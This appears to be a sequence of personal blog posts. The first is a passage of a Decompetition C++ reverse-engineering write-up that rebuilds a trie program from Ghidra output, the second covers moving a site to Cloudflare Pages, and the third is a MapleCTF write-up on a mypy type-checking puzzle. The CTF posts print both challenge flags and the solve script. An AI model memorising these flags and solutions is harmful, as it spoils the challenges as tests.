trie.disasm. This is the disassembly used by compiler.py for diffing.
flag.txt. Read and printed by compiler.py after submitting the internal flag.
A bunch of other Python files to make things work.

Is there a way we can simplify the process?

Inline assembly with asm, attribute trickery, and macros are disallowed.

A quick Google search for TrieNodes resulted in disappointment. The mix() function is especially unique, as tries generally just do insert/search. So we can probably conclude: the implementation was either hand-spun or modified substantially.

It appears the most productive approach is to tackle the problem head on.

But hey, it’s just a simple lil’ trie, not a friggin standard template container or Boost/Qt library. We can do this!

Trie Me

Let’s briefly review tries. What is a trie?

Tries, or prefix trees, are data structures commonly used to efficiently store and retrieve strings. They are particularly useful for tasks like autocomplete or spell checking. The key idea behind tries is that each node in the tree represents a prefix of a string, and the edges represent the characters that can follow that prefix.

^{Example of trie containing the words and, ant, dad, and do. Each edge represents a letter to the next prefix. (Source)}

In terms of matching an exact string, the complexity is similar to a hashmap: O(n) insert/search time, w.r.t. the length of the string. But a hashmap is typically faster as it requires fewer operations.
The power of tries comes with alphabetical ordering and prefix search (which is why they’re useful for autocomplete). Hashmaps can't do this.

Setting Up the Structure

Demangling Names

Let’s start by demangling functions! This way, we’ll roughly know its name and signature—big clues, from a functional viewpoint.

In C++, function and class names are mangled. So instead of using sensible names like TrieNode::mix, std::string::substr, and std::endl, the compiler stores hellish sequences like _ZN8TrieNode3mixEc, _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6substrEmm, and _ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_. (Yes, endl is a function.)

Why do C++ compilers behave this way?

This has to do with function overloading. For example:

void print(int i) { /* ... */ }
void print(float f) { /* ... */ }
void print(std::string s) { /* ... */ }

^{C++ function overloading in action. Same name. Different parameters.}

With function overloading, names are reused. Now if the names are the same, how can the linker find and call the right function? The compiler solves this by encoding a function’s signature into its name, so that all names are unique. (We don't have this problem in plain old C, because function overloading isn’t even a concept!)

_(collapse)

To demangle these cryptic monstrosities, we can throw them into online tools (e.g. demangler.com²) or just use a C++-enabled decompiler (e.g. Ghidra) which automatically demangles names.

Classy Types

When discussing C++, it’s hard to avoid the topic of classes. These supercharged C-structs are the basis of any object-oriented program.

Looking at the demangled function names, we can identify the TrieNode class. What next?

There are two parts to reversing a class:

Methods/functions. How does the class behave? What does it do?
- These are easy to find due to the prefix (e.g. TrieNode::). Reversing their content is a different question, which we'll address in upcoming sections.
Members. What comprises a class? What is its state?
- This is a tricky question to answer, as variable names are usually stripped. Careful analysis of reads/writes is required (xrefs are useful!).
  - Is it set to only 0 or 1? And used in conditions? Probably a boolean.
  - Is it compared to other numbers a lot and used near loops? Probably an integer representing size.
- By peeking at the TrieNode constructor, we figure out that TrieNode has three members.
  1. An unordered map (aka hashmap) from chars to nodes. Size: 0x38 bytes. As this resembles the edges of the node, we'll call variable this next_node.
  2. A bool. Size: 1 byte.
  3. Another bool. Size: 1 byte.

Overall, our structure should resemble:

using namespace std; // FYI, this is discouraged in actual software engineering: https://stackoverflow.com/q/1452721/10239789.

void wordhash(string s) {} // return type: ???

struct TrieNode {
	// Members.
	unordered_map<char, TrieNode*> next_node;
	bool bool1;
	bool bool2;

	// Constructor.
	// Initialise variables. `next_node`'s constructor is called automatically.
	TrieNode() : bool1{false}, bool2{false} {}   // Member Initialiser List: https://cplusplus.com/articles/1vbCpfjN/

	void insert(string s) {} // return type: ???
	void search(string s) {} // return type: ???
	void mix(char cmix) {} // return type: ???
}

int main() {}

^{Return types are unknown, because most compilers don't mangle them with the name. For now, they've been substituted with void and left as an exercise for the reader.}

On Struct vs. Class

Structs are public by default. Classes are private by default.

Public/private are concepts which fall under OOP encapsulation. With encapsulation, we bundle data and only expose certain API methods for public users, whilst hiding implementation. With a cyber analogy, this is not unlike exposing certain ports (HTTP/HTTPS) on a machine, and protecting other ports with a firewall.

I chose to use struct here because I'm lazy and want to make members public.³ Some of them are accessed directly in main anyway.

_(collapse)

Reversing

Plagiarise a Decompiler

Now that we have a basic structure set up, it's time to dig deeper. We need to go from binary to source code. Hmm… that sounds like a job for… a decompiler!

So let’s start with that! We can ~~plagiarise~~ copy output from Ghidra and rewrite it to make programmatic sense.

Exercise: Reverse the wordhash function.

Solution

char wordhash(string s)
{
    char hash = 0;
    for (int i = 0; i < s.size(); i++)
        hash ^= s[i];
    return hash;
}

This is a simple hash function which xors all characters in a string. It's not a very effective hasher, because it's prone to collisions (also it's not const-correct). But eh, this is just for a CTF challenge.

_(collapse)

Implement the Data Structure

Time to implement the core of the program: the TrieNode class. As before, we can refer to Ghidra's output.

Exercise: Reverse TrieNode::insert, TrieNode::search, and TrieNode::mix.

We can make good use of Ghidra's Rename, Retype, and Edit Function Signature tools to clean up the code.
Ghidra sometimes loads incorrect function signatures (e.g. for operator[]). You may wish to edit the signature so that it displays arguments properly.⁴

I'll leave the first two functions as an exercise for the reader. :)

mix() seems to be a total oddball, as tries don't usually have such a function.

^{Ghidra decompilation of TrieNode::mix().}

TrieNode::mix: Possible Solution

void mix(char cmix)
{
	unordered_map<char, TrieNode*> new_map;

	// For each edge...
	for (auto it = this->next_node.begin(); it != this->next_node.end(); ++it) {
		auto pair = *it;
		char ch = std::get<0>(pair);
		TrieNode* node = std::get<1>(pair);
		// ...update the character.
		new_map[ch ^ cmix] = node;
	}

	// A new map is used so that old mappings aren't kept.
	// Update the map of the current node.
	this->next_node = new_map;

	// Recurse into child nodes with the same xor key.
	for (auto it = this->next_node.begin(); it != this->next_node.end(); ++it) {
		auto pair = *it;
		char ch = std::get<0>(pair);
		TrieNode* node = std::get<1>(pair);
		node->mix(cmix);
	}
}

Now if you run this through the compiler diff, it should respond with some lines:

-call    _ZSt3getILm0EKcP8TrieNodeERNSt13tuple_elementIXT_ESt4pairIT0_T1_EE4typeERS7_
+call    _ZSt3getILm0EKcP8TrieNodeERKNSt13tuple_elementIXT_ESt4pairIT0_T1_EE4typeERKS7_

Subtle. But there is a good reason why this occurs. We'll look at this in more detail later.

_(collapse)

On Various Features

Common, but worth mentioning.

On auto

auto is a special keyword introduced in C++11 typically used to tell the compiler: "figure out this type for me".

It has seen wide adoption and growing support in the standard (more features for auto are added each standard). Now (C++20) it's used widely in template parameters and lambda parameters.

_(collapse)

On Iterators

The previous solution for mix() made use of iterators. These are commonly used by the STL, providing a generic interface for iterating over containers.

for (auto it = container.begin(); it != container.end(); ++it) {
	// ...
}

We generally start with .begin() and iterate with prefix increment (++it) until we hit the .end() iterator. With iterators, we can apply generic algorithms on generic containers.

_(collapse)

On Unordered Map

You may be wondering: why std::unordered_map? Why not std::map? Why type 10 extra keystrokes?

The reason is time complexity.

std::map is a binary search tree, giving O(log n) search time on average (where n is the number of entries).
std::unordered_map is a hashmap, giving O(1) search time on average. Takes more space though.

As the value of n increases, the number of operations required for std::map will increase at a faster rate compared to std::unordered_map. This is because std::unordered_map is not affected by the number of entries in the map (except in the case of rehashing); hence, the constant time complexity, O(1).

In the interest of performance, it's typical to opt for unordered_map.

But in our case, since a node only has 256 possible edges (char), the potential speed boost is limited, and the choice between map and unordered_map is debatable. ¯\_(ツ)_/¯

_(collapse)

On Scoping

An object in C++ has a constructor and destructor, functions that run at the beginning and end of its lifetime. The object's scope affects the placement of its constructor and destructor.⁵

Let’s look at some examples:

// String in outer scope.
int main()
{
	std::string s; // <- string constructor called
	if (1) {
		// do stuff
	}
} // <- string destructor called

// String in inner scope.
int main()
{
	if (1) {
		std::string s; // <- string constructor called
		// do stuff
	}   // <- string destructor called
}

Do you C the difference?

Things become complicated when we further consider lvalues and rvalues (think: variables and temporaries).

Complicated Examples

// Passing lvalue string to normal parameter.
// Copy constructor is called and a temp object is created.
void print(string s);

int main()
{
	std::string s; // <- string constructor called
	if (1) {
		// do stuff
		// ---
		// <- string copy constructor called (copies s to a temporary)
		print(s);
		// <- string destructor (of temporary string) called
		// ---
		// do more stuff
	}
}   // <- string destructor called

// Passing rvalue string to normal parameter.
// Regular constructor is called and a temp object is created.
void print(string s);

int main()
{
	if (1) {
		// do stuff
		// ---
		// `const char*` literal is implicitly converted to std::string.
		// <- string constructor called (creates a temporary)
		print("Hello world!");
		// <- string destructor (of temporary string) called
		// ---
		// do more stuff
	}
}

_(collapse)

I don't intend to cover every single possible case. But yes, C++ is extremely nuanced in this regard. (See also: classes, special member functions, move semantics.)

The point is: object scoping is all reflected at assembly level. We can get a good understanding where an object is declared by paying attention to its constructors and destructors.

This applies to classes, such as STL containers. Primitives (int, char, pointers) don't have constructors/destructors, so it’s trickier to tell where they're instantiated. It's even trickier with heavy optimisations.

Exercise: Reverse the main function.

Use the position of constructors and destructors to determine the scope of various strings.
Beware backslashes in the inserted strings.

Possible Solution

int main()
{
    int opt;
    string str;
    TrieNode* node = new TrieNode();

	// `const char*` literal is implicitly converted to std::string.
    node->insert("\x72\x50\x54\x52\x73\x66\x51\x5a\x79\x72\x75\x4b\x7f\x4e\x4d\x55\x47\x7e\x68\x7e\x72\x51\x42\x71");
	// node->insert(string("...")); also works
    // -- snip --
    // node->insert("...");
    
    node->should_mix = true;

    cout << "Enter [1] for insert string" << endl;
    cout << "Enter [2] for search string" << endl;

    while (true) {
        cout << "Option: ";
        cin >> opt;
        if (opt == 1) {
            cout << "Input string to insert: " << endl;
            cin >> str;
            node->insert(str);
        } else if (opt == 2) {
            cout << "Input string to search: " << endl;
            cin >> str;
            bool res = node->search(str);
            if (res)
                cout << "String " << str << " exists." << endl;
            else
                cout << "String " << str << " does not exists." << endl;
        } else {
            cout << "Bye" << endl;
            return 0;
        }
    }
}

_(collapse)

From here on, we'll continue making incremental adjustments to improve our score, while learning various C++ nuances and features.

On Structured Bindings

Here we take a detour to peek at build.sh. And something sparkly catches our eye:

g++ "$@" -fno-asm -std=c++17 -g -o "$binary" "$source"

Our code is compiled with C++17—what an oddly specific standard!

One cool feature introduced by this standard is structured bindings, which is as close as we can get to Python iterable unpacking.

for (auto it = next_node.begin(); it != next_node.end(); ++it) {
	// -----
    auto pair = *it;
    char ch = std::get<0>(pair);
    TrieNode* node = std::get<1>(pair);
	// +++++
    auto [ch, node] = *it;
	// +++++
    new_map[ch ^ cmix] = node;
}

Since it is an iterator over key-value pairs, we can dereference, then bind (unpack) the pair to ch and node.

One telltale sign of structured bindings is in the second loop of TrieNode::mix(). Notice how the first item of the pair (ch2 = std::get<0>(pair);) is read but never used.

^{Ghidra decompilation of the second loop of mix(). Notice how ch2 is never used. (You can also verify this by inspecting the disassembly!)}

Another giveaway is that std::get is rarely used to access map pairs, unless in generic code. The idiomatic ways are:

std::pair members (through iterator): it->first, it->second

std::pair members (through pair):

for (const auto& pr : map) {
  // pr.first, pr.second
}

structured bindings (since C++17)

N.B. With optimisations, these indicators would be less obvious. Thankfully the program wasn't compiled with optimisations.

On Const Ref

We're still short of our target though. Some diff lines stand out:

 ; Extra stack variables!
-sub     rsp, 0xc8
-mov     [rbp-0xc8], rdi
+sub     rsp, 0xb8
+mov     [rbp-0xb8], rdi
 ; Calling the wrong overload!
-call    _ZSt3getILm0EKcP8TrieNodeERNSt13tuple_elementIXT_ESt4pairIT0_T1_EE4typeERS7_
+call    _ZSt3getILm0EKcP8TrieNodeERKNSt13tuple_elementIXT_ESt4pairIT0_T1_EE4typeERKS7_

^{Extracted diff lines from compiler.py output. Red (-) indicates extra lines in our program. Green (+) indicates missing lines.}

Looks like we declared 16-bytes of extra stack variables.
- Local variables are stored on the stack, which allocates memory by a simple sub instruction.
- Larger subtraction = more stack memory allocated.
It also looks like we called the wrong overload. The mangled names — simplified for readability — translate to:
```
-std::get<0>(std::pair<char, TrieNode*>&)
+std::get<0>(std::pair<char, TrieNode*> const&)
```
C++

We can fix both these issues by qualifying our binding as const&.

 for (auto it = next_node.begin(); it != next_node.end(); ++it) {
-    auto [ch, node] = *it;
+    const auto& [ch, node] = *it;
     new_map[ch ^ cmix] = node;
 }

With auto, our binding was creating new char and TrieNode* copies. (Hence, the extra 16 bytes.) With const auto&, we take a constant reference.

Constant: meaning we only read the value. No modifications. This fixes the second issue.
Reference: meaning we refer (point) to the original objects instead of copying them. This fixes the first issue.

Using const-refs is good practice for maintainability and performance (imagine copying a 64-byte struct each iteration 🤮).

On For-Range Loops

The astute may notice the above can be refactored slightly with the help of range-based for-loops. These were introduced in C++11, and are like Python for-in loops, but less powerful.

Example

-for (auto it = next_node.begin(); it != next_node.end(); ++it) {
-    const auto& [ch, node] = *it;
+for (const auto& [ch, node] : next_node) {
     new_map[ch ^ cmix] = node;
 }

_(collapse)

In fact, range-based for-loops are syntactic sugar for the plain loops we all know and love.

for (range_decl : range_expr) {
	/* ... */
}

translates to...

{
	auto&& __range = range_expr;
	auto __begin = begin; // Usually std::begin(__range)
	auto __end = end;     // ...and std::end(__range).
	for (; __begin != __end; ++__begin) {
		range_decl = *__begin;
		/* ... */
	}
}

(See more: cppreference.)

On Control Flow

Decompiler output may not accurately present the control flow of the original program. Changing:

the order of control flow, and
which statement is used

may lead us closer to 100%.

Would it make more sense to use a switch instead of an if in a certain place?

Other Useful Tips

Use Godbolt’s Compiler Explorer to play around with disassembly output. It helps with analysing small details such as variable declaration.
- Remember to set x86-64 gcc 12.2 and -std=c++17.
Two good sources for standard library documentation are cppreference (high quality) and cplusplus.com (beginner-friendly).
Version control is incredibly useful for tracking incremental changes.

The Infernal Flag

Once we recover enough source code, it's time to find the internal flag. This is probably the least interesting part (for me), so I'll keep it short.

Notice:

In main, a bunch of garbage strings are inserted into the trie.
Afterwards, mixing is turned on (node->should_mix = true), so that the next node->insert() will jumble the trie...

Now it's time to take a really close look at mix().

What is jumbled? All the strings.
How? All chars are xor'ed with a char (the wordhash of a string).
How many possible chars are there? 256.
Two words: brute force.

Maybe one of the strings just happens to be the internal flag xor'ed. Who knows?

After getting ≥ 97.5% similarity and finding the internal flag, submit both to the platform and profit!

Final Remarks

I'm sure the chal is called Vitamin C++ because it's designed to make us (mentally) stronger. Every time you trie harder, you lose a brain cell but strengthen a neuron. Indeed, we covered quite a lot of concepts today:

Language Features: auto, structured bindings, for-range loops, const-ref.
Library Features: iterators, unordered map.
Unordered map is preferred for performance in lookup.
Scoping (and lvalue-rvalueness) affects position of constructors/destructors. (Very good takeaway for C++ reversing.)
Pay attention to groups of sub and mov instructions to check if we declared too little/many stack variables.
Ghidra is pretty powerful.
C++ is fun.

Lots of tuning was involved; but the various tricks employed above netted us a first blood, so I can't complain. Despite a couple lines of janky const-uncorrect code, it was a nice challenge.

Also, who doesn't like a good pun hidden in a challenge?

Solve Sauce

(Files not embedded, as they're a bit big.)

Flag

hkcert23{c++stl_i5_ev3rywh3r3_dur1ng_r3v}

Footnotes

Decompetition is a reverse-engineering CTF held irregularly. ↩︎
[2024 Nov] demangler.com seems to be down. Here's a different site with similar functionality: n.fuqu.jp/c++filtjs/ ↩︎
In proper engineering, we would hide the implementation behind private, so next_node should be a private variable. But since this is a CTF, proper engineering comes second. 😛 ↩︎
Or just read the assembly and follow the call conventions (thiscall for member functions, fastcall for everything else). ↩︎
This also depends on optimisations, and whether the object contains any other classes. In some cases, constructors or destructors may be inlined or optimised away. ↩︎

Site Updates and Migration to Cloudflare Pages

2023-11-09T00:00:00Z

This is my second meta post on site development... and a lot has changed! In this post, I'll walk through some changes on the site, along with my decision-making process on migrating to Cloudflare, and some general tips in case you're going through something similar.

But first things first. Meme.

What's new?

The previous meta update was dated February 4. That time, I revised the site generator, ditching the wavering framework known as Jekyll and moving to Eleventy. This enabled more rapid testing and development of new features, some of which are...

Frontend
- Cooler UI(?) - Continuous
- Modern Web Elements ⚡️: Alerts, Details, Spoiler - May-September
- Image Lightbox (you can now click on images to expand them) - October
- Link Anchors 🔗 (try hovering your mouse to the left of headings) - October
Content
- Home Page (uses carousels to cycle through content, so that the page isn't as visually bloated) - May
- Privacy Policy - September
- Assorted Blog Posts (including a series on digital audio synthesis, CTF writeups, and 4 new compositions) - Continuous
Optimisations
- Lazy Loading (iframes, images, disqus) - May
- Images (responsiveness, etc.) - May
- JS/CSS Minification - September
- Migrate from MathJax to KaTeX - November
- Better Browser Caching for Assets - Now!
Under the Hood
- Link Checking (with Lychee; so that you won't encounter broken links 😉) - June
- Cloudflare Analytics (better analytics) - August
- Linting (with eslint) - October
- Change in Domain Name - Now!

Migrating Hosting to Cloudflare Pages

The rest of this post deals with more technical aspects. Why did I make these decisions? What low-level improvements are there? What do I look forward to in the future?

While the previous migration dealt with site generation, today's migration is twofold:

Migrating the hosting service from GitHub Pages to Cloudflare Pages
Migrating the domain name from trebledj.github.io to trebledj.me

To the point: why the switch? Plenty of users are content with GitHub Pages. Why am I not? Although perfectly suited for simple static sites, GitHub Pages lacks server-side flexibility and customisations.

Analysis

To be fair, I've debated long and hard between GitHub Pages, Cloudflare Pages, and Netlify. These seem to be the most popular, most mature static site solutions.¹

Anyhow, time for a quick comparison:

	GitHub Pages	Cloudflare Pages	Netlify
Deploy from GitHub Repo	Yes	Yes	Yes
Domain Registration²	No	Yes	Yes
Custom Domain	Yes	Yes	Yes
Custom Headers	No	Yes	Yes
CI/CD	Free (public repos); 2000 action minutes/month (private repos)	500 builds/month	300 build minutes/month
Server-side Analytics	No	Yes (detailed analytics: $$$)	Yes ($$$)
Server-side Redirects³	No	Yes	Yes
Serverless	No	Yes	Yes
Plugins	No	No	Yes

See a more thorough comparison on Bejamas.

Although Netlify and Cloudflare Pages are both strong contenders, I eventually chose Cloudflare Pages for its decent domain name price, analytics, its security-centric view, and a whole swath of other features.

For dynamic sites, Netlify wins hands down. Their plugin ecosystem is quite the gamechanger. But this also comes with the limitation that plugins may also be pricey (e.g. most database plugins come from third-party vendors, which do provide free tiers, albeit limited).

For static sites, Cloudflare Pages is optimal.

Custom Headers: Caching

Custom headers can be used for different things. But one thing that stands out is browser-side caching.

When a browser loads content, it generally caches assets (images, JS, CSS) so that when the user visits another page in your domain, those assets are loaded directly from memory. As a result, network load is reduced and the page loads faster.

The server which delivers the files can tell your browser how long the files should be cached, using the cache-control header.

GitHub Pages tells our browser to only cache for 600 seconds (10 minutes). This applies to all files (both HTML documents and assets). On the other hand, Cloudflare Pages has longer defaults and offers more flexibility, especially for assets.

We can use curl to fetch headers and compare results. At the time of writing:

GitHub Pages
curl -I https://trebledj.github.io/css/main.css | grep cache-control
cache-control: max-age=600

Cloudflare Pages with custom headers
curl -I https://trebledj.me/css/main.css | grep cache-control
cache-control: public, max-age=14400, must-revalidate

With Cloudflare Pages, our cache duration is longer (4 hours by default). Thanks to their flexibility, we can customise this further by...

Changing the max-age through Cloudflare's Browser TTL setting.
Enabling caching for other files (e.g. JSON search data).
And more~

High Cache Duration

Having a high cache duration may sound good, but there's one problem. Newer pages/content may not update immediately. The browser will need to wait for the cache to expire before fetching the content.

One way around this is to use cache busting. The idea is to use a different asset filename every time the contents are modified. When the browser sees the new filename, it'll request the file instead of loading it from cache (since it's not in the cache). This way, we can ensure a high cache duration (for assets) with zero "cache lag".

By caching static assets for a longer duration, we speed up subsequent page loads. And as a result, our Lighthouse Performance metric improves! (ceteris paribus)

Sweet Server-Side Spectacles

As you may notice, GitHub Pages sorely lacks server-side customisations, focusing solely on the front-end experience. Let's talk about analytics.

Analytics

Although Cloudflare Pages provides integrated server-side analytics, they are underwhelmingly rudimentary. Detailed analytics (e.g. who visit what page when) are stashed behind a paywall. So in theory, server-side analytics are great! In practice? 🤑🤑🤑. Also: bots.

Server-side analytics differ from client-side analytics, where the former relies on initial HTTP(S) requests to the server, and the latter relies on a JS beacon script. The two approaches differ drastically when we consider the performance impact. With server-side, analytics data is mostly derived from headers in the incoming web request. Usually, the browser type (User-Agent) and referrer (Referrer) are provided by the browser.⁴ Not as flexible as client-side, but definitely more performant (for the client) and offers more privacy. Moreover, there's the issue of bots polluting the data, such as web crawlers, which usually just fetch HTML and don't load scripts.

With client-side, the browser needs to run a separate script, adding to the network bandwidth. Some scripts are lightweight and simple. Some scripts may fire a bunch of network requests which hinder performance, whilst causing a privacy/compliance nightmare (looking at you Google Analytics).

GitHub Pages currently doesn't plan to support server-side analytics. Cloudflare Pages does, but the free version doesn't offer much 💩🤑. Guess I'll just stick with Cloudflare's privacy-focused client-side solution.

Serverless

Serverless is—lightly put—the hip and modern version of backends.⁵ Instead of having to deal with servers, load balancing, etc., we can focus on the functionality. Serverless lends itself well to the JAMstack (JavaScript + APIs + Markup) approach to writing web apps.

Use cases include: dynamic websites, backend APIs, web apps, scheduled tasks, business logic, and more.

One reason for moving off GitHub Pages is to prepare for backend needs. I don't have an immediate use for serverless features yet; but if I do write web apps in the future, I wouldn't mind having a platform at the ready.

Domain Stuff

Several reasons why I switched from trebledj.github.io to trebledj.me:

Decoupling. I'd rather maintain my own apex domain rather than rely on github.io.
Learning. In the process, I get to touch DNS/networking settings, which are important from a developer and security perspective.
Personal Reasons. Hosting this website on a custom domain name has been a mini-dream. Migrating to Cloudflare definitely eased the integration process between domain name and site.

Considerations When Choosing a Domain Name

A few tips here.

Choose a top-level domain (TLD) which represents your (personal) brand. A TLD is the last part of your domain name. For example, in trebledj.xyz, the TLD is .xyz. Generally:
- .com for commercial use.
- .org for organisations.
- .dev, .codes for programmers/software-likes.
- There are thousands of TLDs to choose from, but I decided to choose .me because I'm not a corporate entity.
Check domain name history for bad/good reputation. It's possible the domain you're after was once a phishing site, but taken down. In any case, it's a good idea to check if the site garnered bad rep in the past as it may impact SEO.
Avoid less reputable domains and TLDs associated with cybercrime.
- .date, .quest, .bid are among TLDs with the highest rate of malicious activity.
- Even TLDs like .xyz—although used by companies like Alphabet Inc. (abc.xyz)—has garnered enough bad reputation.
xyz: an unwise choice

Originally, I wanted to use trebledj.xyz. I really liked .xyz.

Turns out many firewalls block .xyz, rendering the site inaccessible to many. Not only that, but emails or links may be silently dropped. The .xyz domain is just too far gone... firewalls and the general public have lost faith in .xyz. And for this reason, I switched out of .xyz.

Sadly, I wasted 3 bubble teas worth of domain name to learn this valuable lesson. It's a shame that .xyz turned out this way. All those cool xyz websites and domain names out there... blocked by firewalls.

So I've opted for trebledj.me. I would've gone for .io, but it's thrice the price. At least the folks at domain.me seem committed to security and combatting evil domains (https://domain.me/security/). Kudos to them.

_(collapse)
Choose a domain name provider/registrar. GoDaddy, Domain.com, Namecheap are some well-known ones. They offer discounts, but security features may come with a premium. Cloudflare has security batteries included, but don't come with first-year discounts.

Further Reading:

Palo Alto: TLD Cybercrime - Comprehensive analysis of malicious sites, if you're into security and statistics.

Closing Thoughts

Overall, I decided to migrate to Cloudflare Pages to improve the site's performance and to future-proof it, by having greater control over the backend.

Some more work still needs to be done, though.

Setting up 301 redirects from the old site, for convenient redirect and migration of site traffic. (guide; done!)
Implement longer browser cache TTL + cache busting.

But other than that I'm quite happy with Cloudflare's ease-of-use, despite its day-long downtime (which coincidentally occurred when I was setting up Cloudflare Pages). Setting up the hook to GitHub repos and deploy pipelines were pretty straightforward.

Footnotes

Vercel's also in the back of mind, but after running into login issues, I've decided that Netlify covers most of their features anyway. ↩︎
Note: Domain registration is done through a DNS registrar and usually requires money. (You might be able to get cheap/free deals on NameCheap, sans security features.) Cloudflare and Netlify are DNS registrars. GitHub isn't. This isn't really a big deal. But it's more seamless to deploy your site and set a custom domain on the same service where you register your domain. ↩︎
This isn't really a deal breaker, but included for posterity. ↩︎
Of course, these HTTP headers may be modified, e.g. by using a VPN or a proxy; so these analytics aren't always reliable. ↩︎
Yes, "serverless" is a misnomer; ultimately, there are servers in the background. But the idea is that servers are abstracted away from the programmer. ↩︎

Subtype Metaprogramming is Mostly Harmless

2023-10-02T00:00:00Z

Types are cool! But y'know what's even cooler? A CTF challenge on types!

This year's MapleCTF graced us with a challenge involving much class, much inheritance, much confuzzlement, and much eyesore.

Description

Mostly Harmless

Some people consider type annotations to be useless. I consider everything but type annotations redundant.

Author: JJ
17/291 solves.

The chal is also humorously tagged "cursed" and "misc". Well, that's reassuring...

Anyway, we're presented with two files:

app.py: Driver code to convert the flag (input) to a mysterious line of output, then opens a subprocess and runs
```
mypy output.py
```
Shell
output.py: A template file full of class declarations and inheritance. Utter gibberish on first sight.

You can follow along by getting these files here.

Solve

What? A section titled "solve"? Already? What about the usual analysis and observations?

Usually I begin my writeups with an extensive analysis section. Contrary to this, Mostly Harmless is one of those blursed challenges which favours those with strong guess-fu; but the challenge is so intellectually challenging and deep, that to properly reverse (let alone understand) it would take ~~a PhD,~~ ~~years,~~ extra study post-CTF.

The key idea is to recognise:

How does the flag checking work? Where is the final condition which decides whether the input is correct or not?
- By using the mypy type checker.
How do the classes containing numbers (e.g. QLW_s1, QRW_s1) relate to the classes containing a letter (e.g. L_x, L_a)?
- By inheriting classes in a specific manner, therefore creating a subtyping relationship.

Still, let's look at some key insights:

The final line of output.py is built by stacking input in a recursive fashion:
```
L_<INPUT[i]>[N[ L_<INPUT[i-1]>[N[ ... ]] ]]
```
Python
- Thus, characters are encoded by the L_* classes.
- The chain also begins (or ends?) with QRW_s29.
There are a bunch of Q*_s* classes, numbered from 1 to 71. Indices, perhaps? Or just references?

Any clue to the relationship between these symbols? Yes! We see interesting stuff from lines 320 to 459.

# Line 378.
class QL_s29(Generic[T], L_n["N[QLW_s31[L_x[N[MR[N[T]]]]]]"]): ...
#          │               │          │
#          │               │          └── Next number
#          │               └── Next letter in flag
#          └── Current number

And guess what? That's all we need! Just follow the numbers like how Alice follows the White Rabbit!

Script

The solve is rather simple and fits within 25 lines (including comments!).

import re

# Extract the lines containing pointers(?)/relationships between letters.
with open('output.py') as f:
    lines = f.readlines()[319:458:2] # Skip every 2 lines, bc redundant info.

lookup = {}

# Parse and store the relationships in a lookup map.
for line in lines:
    curr_idx, char, next_idx = re.findall(r'Q._s(\d+)[^ ]+, L_(\w).*.W_s(\d+)', line)[0]
    lookup[int(curr_idx)] = (int(next_idx), char)

# Follow the pointers until we hit 71.
idx = 29
flag = ''
while idx != 71:
    idx, c = lookup[idx]
    flag += c

# Profit!
print(f'maple{{{flag}}}')

Flag

Lé Flaggo

maple{no_type_system_is_safe_from_pl_grads_with_too_much_time_on_their_hands}

C++ template metaprogramming reverse when?

_(collapse)

We're done. We got the flag. But my curious side wants to dig deeper.

So let's go deeper! The rest of this post attempts to dissect the type theory behind the challenge, starting from basic principles.

Back to the Basics

This section attempts to bolster the reader's understanding of programming and type theory in order to understand the nitty-gritty of the challenge. If you're comfortable with types and variance, feel free to skip to the next section. If you have any questions, do let me know.

Classes

Classes are a fundamental concept in object-oriented programming (OOP) that allow us to define objects with attributes (variables) and behaviours (methods/functions). They serve as blueprints or templates for creating instances of objects. In the functional realm, classes are used to create new types.

From here on, class and type are interchangeable.

Here's an example:

# Declare a new class called Challenge.
class Challenge:
    # __init__ is a magic method called automatically when an instance is created.
    def __init__(self, title, description):
        print(f"Creating challenge {title}...")
        self.title = title
        self.description = description

# Create instance of our class.
chal = Challenge("Mostly Harmless", "A totally harmless reverse challenge abusing Python types.")
# Prints "Creating challenge Mostly Harmless..."

But we'll stay relevant to the challenge and keep things simple by declaring classes without a meaningful body. Let's not worry about fancy Python methods and class mechanics.

# This also declares a class called Challenge.
class Challenge: ...

The ... (ellipsis) usually denotes an empty implementation.

Classes can do a lot more, but for now this explanation suffices.

Inheritance

Inheritance is a mechanism in OOP that allows a class to inherit attributes and behaviour from another class. The new class is called a subclass or derived class, and the class being inherited from is called the superclass or base class.

class Reverse(Challenge): ...

Here, Reverse is a subclass of Challenge, and Challenge is a superclass of Reverse.

Semantically, a Reverse is also a Challenge, but the inverse does not always apply.

assert isinstance(Reverse(), Reverse) == True    # A Reverse is a Reverse. (Duh.)
assert isinstance(Reverse(), Challenge) == True  # A Reverse is also a Challenge.
assert isinstance(Challenge(), Reverse) == False # Supertype is not a subtype.

Type-wise, it creates a relationship: Reverse is a subtype of Challenge. More on this later.

We can inherit multiple classes too:

# Create a class for Python Reverse challenges.
class PythonReverse(Python, Reverse): ...

Both Python and Reverse are superclasses/supertypes of PythonReverse.

Mathematically, we denote inheritance with $A : B$, where $A$ is the subtype and $B$ the supertype.

Typing

Python is a dynamically-typed language and does not offer type-checking out-of-the-box. This challenge uses the third-party tool mypy to type-check output.py (get it with pip install mypy). Let's look at a typed example.

class Challenge: ...
class Reverse(Challenge): ...
class Web(Challenge): ...

x: Challenge = Challenge()
y: Challenge = Reverse()
z: Challenge = Web()

We declare three classes: Challenge, Reverse, and Web. The latter two are nominal subtypes of Challenge.
Nominal vs. Structural Subtyping
Generally, there are two ways to look at subtypes:
- Nominal Subtyping: Two types are considered subtypes if they were declared such. Usually an explicit link is specified, e.g. inheritance.
  class Reverse(Challenge): ...
  Python
  Here, Reverse is a (nominal) subtype of Challenge.
- Structural Subtyping: Two types are considered subtypes if their structures match. No explicit linking required.
  class Challenge: title = ... description = ... def print(): ... class Web: # No inheritance. title = ... description = ... url = ... def print(): ... def instantiate(): ...
  Python
  Web is a (structural) subtype of Challenge, because Web contains attributes and behaviour of Challenge.
  
  This is more akin to duck typing.
All the subtyping discussed in this post is nominal subtyping.

_(collapse)
We then...
- declare three variables x, y, z,
- annotate them with Challenge, and
- initiate them to instances of the classes we created.

Beware, Challenge takes on two roles here:

Type. When inheriting (in the declaration of class Reverse) or when annotating x, Challenge is treated as a type.
Constructor. When calling Challenge(), we are instantiating an object.

The type annotation is a constraint we place on the variable.

When we run mypy on this file, the type-checker will:

process class declarations,
register subtyping relationships ($\texttt{Reverse} <: \texttt{Challenge}$, $\texttt{Web} <: \texttt{Challenge}$), and
type-check annotations and values.

$U <: T$ denotes "$U$ is a subtype of $T$".
$U :> T$ denotes "$U$ is a supertype of $T$".

Examples

$\texttt{int} <: \texttt{object}$
$\texttt{RuntimeError} <: \texttt{Exception} <: \texttt{BaseException}$
$\texttt{object} :> \texttt{int}$

